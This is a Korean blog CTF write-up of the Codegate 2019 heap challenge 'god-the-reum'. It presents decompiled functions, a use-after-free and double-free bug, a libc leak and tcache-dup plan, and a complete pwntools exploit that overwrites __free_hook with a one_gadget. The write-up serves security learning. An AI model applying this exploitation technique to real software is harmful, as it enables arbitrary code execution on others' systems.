블로그 이전했습니다. https://jeongzero.oopy.io/
[Codegate 2019] god-the-reum
본문 바로가기
워게임/CTF 문제들

[Codegate 2019] god-the-reum

728x90

1. 문제


1) mitigation 확인

다 걸려있다.

2) 문제 확인

힙 문제로 추정된다. 바로 분석해보자.

3) 코드흐름 파악

우선 구조체를 두개 만들어줬다.

struct wallet
{
  char *wallet_addr;
  char *wallet_size_addr;
};

struct wallet_table_
{
  char table[16];
}; 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  wallet *wallet; // rdi
  unsigned int index; // [rsp+1Ch] [rbp-64h]
  wallet *wallet_table; // [rsp+20h] [rbp-60h]
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  wallet = (wallet *)stdin;
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    index = print_menu();
    while ( getchar() != '\n' )
      ;
    switch ( (unsigned __int64)index )          // print_menu의 return 값
    {
      case 1uLL:
        wallet = (wallet *)&(&wallet_table)[2 * wallet_count];
        create_wallet(wallet);
        break;
      case 2uLL:
        wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
        deposit((wallet **)wallet);
        break;
      case 3uLL:
        wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
        withdraw((wallet **)wallet);
        break;
      case 4uLL:
        wallet = (wallet *)&wallet_table;
        show((__int64)&wallet_table);
        break;
      case 5uLL:
        puts("bye da.");
        return 0LL;
      case 6uLL:
        wallet = (wallet *)&(&wallet_table)[2 * (int)select_wallet()];
        for_developer((__int64)wallet);
        break;
      default:
        unknown_menu((__int64)wallet, 0LL);
        break;
    }
  }
}

각 메뉴에 따라서 스택영역에 들어있는 wallet_table의 인덱스를 인자로 한다.

unsigned __int64 __fastcall create_wallet(wallet *wallet)
{
  unsigned int v1; // eax
  char v3; // [rsp+13h] [rbp-1Dh]
  char v4; // [rsp+13h] [rbp-1Dh]
  int i; // [rsp+14h] [rbp-1Ch]
  size_t size; // [rsp+18h] [rbp-18h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf = malloc(0x82uLL);
  if ( !buf || wallet_count > 4 )
  {
    puts("wallet creation failed");
    exit(0);
  }
  memset(buf, 0, 0x82uLL);
  strcat((char *)buf, "0x");
  v1 = time(0LL);
  srand(v1);
  for ( i = 0; i <= 0x27; ++i )
  {
    v3 = rand() % 15;
    if ( v3 > 9 )
      v4 = rand() % 6 + 97;
    else
      v4 = v3 + 48;
    *((_BYTE *)buf + i + 2) = v4;
  }
  wallet->wallet_addr = (char *)buf;
  printf("how much initial eth? : ");
  __isoc99_scanf("%llu", &size);
  wallet->wallet_size_addr = (char *)malloc(size);
  if ( wallet->wallet_size_addr )
    *(_QWORD *)wallet->wallet_size_addr = size;
  ++wallet_count;
  print_newlines();
  puts("Creating new wallet succcess !\n");
  print_create_wallet_info((__int64)wallet->wallet_addr, (_QWORD *)wallet->wallet_size_addr);
  putchar(10);
  return __readfsqword(0x28u) ^ v8;
}

지갑은 5개까지만 만들수 있다. create함수가 한번 호출되면, 0x81 고정사이즈로 malloc이 한번되고, 입력한 사이즈만큼 malloc을 한다. 따라서 총 2번의 malloc을 하게 된다.

unsigned __int64 __fastcall withdraw(wallet *wallet)
{
  __int64 withdarw_; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("how much you wanna withdraw? : ");
  __isoc99_scanf("%llu", &withdarw_);
  *(_QWORD *)wallet->wallet_size_addr -= withdarw_;
  if ( !*(_QWORD *)wallet->wallet_size_addr )
    free(wallet->wallet_size_addr);
  puts("withdraw ok !\n");
  return __readfsqword(0x28u) ^ v3;
}

withdraw함수를 보면, 선택한 wallet→wallet_size_addr 에 들어있는 값이 0이면 free를 한다. free후 따로 초기화를 하지 않기 때문에 uaf와 double free가 가능할것이다.

__int64 __fastcall for_developer(wallet *wallet)
{
  print_newlines();
  puts("this menu is only for developer");
  puts("if you are not developer, please get out");
  sleep(1u);
  printf("new eth : ");
  return __isoc99_scanf("%10s", wallet->wallet_size_addr);
}

6번 메뉴로 wallet→size_addr에 값을 넣을수 있다.

2. 접근방법


  • uaf, dbf가 가능하다.
  • 총 create함수는 5번까지 호출가능
  • large bin 사이즈로 create 2번, withdraw 1번 호출로 libc leak 가능
  • tache에 들어갈 사이즈로 create 2번, withdraw 2번 호출후 show로 heap code leak 가능

일단 이정도로 정리가 가능하다. 최종목표는 wallet_table에 들어있는 아무 인덱스의 힙 주소를 free_hook 같은걸로 덮은다음, 6번 메뉴로 free_hook에 one_shot 가젯을 넣는것이다.

그럼 create 함수 호출시 할당받는 주소를 free_hook이 되게해야한다. 즉 fd영역에 free_hook을 넣어야한다. double free 체크가 없으므로 0x10 정도 사이즈로 create호출후, withdraw를 2번 호출하여 tcache dup을 한다.

dup을 이용해서 fd에 동일한 청크가 잘 들어간것을 확인할수 있다. 이제 여기서 해당 인덱스를 선택해서 6번 메뉴를 호출하고, 0x55ff0c930380에 free_hook을 넣는다. 이 위치가 바로 fd이다.

6번메뉴의 호출이 끝나면, 해당 힙의 fd에 free_hook이 들어간다. 여기서 2번더 create를 호출하면, wallet_table에 free_hook 주소가 들어간다. 이 인덱스를 4번이라고 하면 table[4]를 선택한뒤, 6번 메뉴를 호출하고, 값을 쓰면 free_hook에 넣은 값이 들어간다. 즉 여기다가 원샷을 넣으면 된다.

그리고 마지막으로 free를 호출하면 끝이다.

3. 풀이


from pwn import *
context(log_level='DEBUG')
p=process('./god-the-reum')
gdb.attach(p,'code\nb *0xb60+$code\n')

def create(money):
	p.sendlineafter('choice : ','1')
	p.sendlineafter('eth? : ',str(money))

def deposit(index,money):
        p.sendlineafter('choice : ','2')
	p.sendlineafter('no : ',str(index))
	p.sendlineafter('deposit? : ',str(money))

def withdraw(index,money):
        p.sendlineafter('choice : ','3')
	p.sendlineafter('no : ',str(index))
        p.sendlineafter('withdraw? : ',str(money))


def show():
        p.sendlineafter('choice : ','4')

def developer(index,new_):
        p.sendlineafter('choice : ','6')
	p.sendlineafter('no : ',str(index))
	p.sendlineafter('new eth : ',new_)

#leak
create(1040)
create(1040)

withdraw(0,1040)
show()
p.recvuntil('ballance ')
leak=p.recvuntil('\n')[:-1]
leak=int(leak)
libc_base=leak-0x3ebca0
free_hook=libc_base+0x00000000003ed8e8
log.info('main_arena+96::'+hex(leak))
log.info('libcbase :: '+hex(libc_base))
log.info('free_hook:: '+hex(free_hook))


create(81)
withdraw(2,81)
withdraw(2,0)
show()
p.recvuntil('2) addr')
p.recvuntil('ballance ')
leak=p.recvuntil('\n')[:-1]
leak=int(leak)
log.info('heap code :: '+hex(leak))
one=[0x4f365,0x4f3c2,0x4f3c2]
one_gadget=libc_base+one[1]

#create(81)
developer(2,p64(free_hook))

create(81)
create(81)
developer(4,p64(one_gadget))

withdraw(1,1040)
p.interactive()

4. 몰랐던 개념


728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[darkCTF] newPaX  (0) 2020.09.28
[darkCTF] butterfly  (0) 2020.09.28
[사이버 작전 경연대회] Vaccine Simulator  (2) 2020.09.21
[downunderCTF] vecc  (0) 2020.09.21
[Definit CTF ] Warmup  (0) 2020.06.09